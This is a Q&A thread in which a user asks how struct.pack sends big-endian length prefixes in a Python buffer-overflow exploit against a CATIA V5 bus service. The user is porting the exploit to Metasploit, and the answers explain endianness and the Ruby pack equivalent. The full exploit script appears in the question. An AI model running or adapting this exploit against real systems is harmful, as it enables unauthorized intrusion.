2

Can someone please explain how and why this struct.pack code is used in the below exploit? I'm trying to understand how it triggers the vulnerability. I understand the buffer overflow aspect, I'm referring to the below struct.pack method. I'm a ruby guy myself, and did some prelim digging into the sruct.pack code below but still don't understand how it triggers the vuln, and why its needed. I'm in the process of porting the sploit to an msf module, and at this point I have verified the exploit works, but fail to understand how it works. enter image description here

s.send(struct.pack('>I',len(buff) ))

struct writes/reads binary data.
pack returns string containing values '>I',len, buff ... packed according to given format.
> represents big endian byte alignment (standard size no alignment)
I format character = integer python type (4 byte packed value)
len = buffer length

Ref: http://docs.python.org/2/library/struct.html#struct.pack http://www.exploit-db.com/exploits/31762/

#!/usr/bin/env python

import socket
import struct
import ctypes

RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                  
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
3

I don't think that the code you are marking is the one achieving to exploit the bug:

s.send(struct.pack('>I',len(buff) ))

What this line is doing is sending the length of the buffer he is going to send right behind in the proper endiannes (Big Endian or network endiannes).

I believe that the exploit itself will have to do with the lengths of the "buff" variable sent which will be probably badly managed:

A stack buffer overflow occurs when copying a user supplied input to a stack buffer of user supplied size.

  • That's exactly the answer I was looking for. I'm not familiar with network endiannes, I'm going to have to look that up so I can finish porting to ruby. Intel x86 and AMD64 (x86-64) are little-endian, so does that mean it just uses big-endian across the wire/network, then switches to lil-endian to overwrite EIP? – nanotechz9l Feb 28 '14 at 7:19
  • Most network protocols are big endian (big endian is also known as "network order" or "network byte order"). You need to know that the data on the network is big endian so you know how to read it when you're reading from the wire and that data on x86 is little endian so you know how to read it in your debugger but the machine should handle going back and forth. – antik Mar 1 '14 at 18:25
1

s.send(struct.pack('>l',len(buff))) can be read as "send a big endian long (4 bytes) containing the value [length of buff] over the socket".

struct.pack is specifying both the endianness and the number of bytes to write on the wire.

http://docs.python.org/2/library/struct.html

In porting to Ruby, it appears the mostly likely translation for Python's struct.pack is Ruby's array.pack. I've never written Ruby but I'd guess [len(buff)].pack("N") is what you want (unsigned 32-bit big endian)

http://www.ruby-doc.org/core-2.1.1/Array.html

  • This is very useful. I cant upvote your answer because I need 15 rep points. That's a really annoying rule in my opinion. But thanks for taking the time to lay down some text ;) – nanotechz9l Mar 2 '14 at 19:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.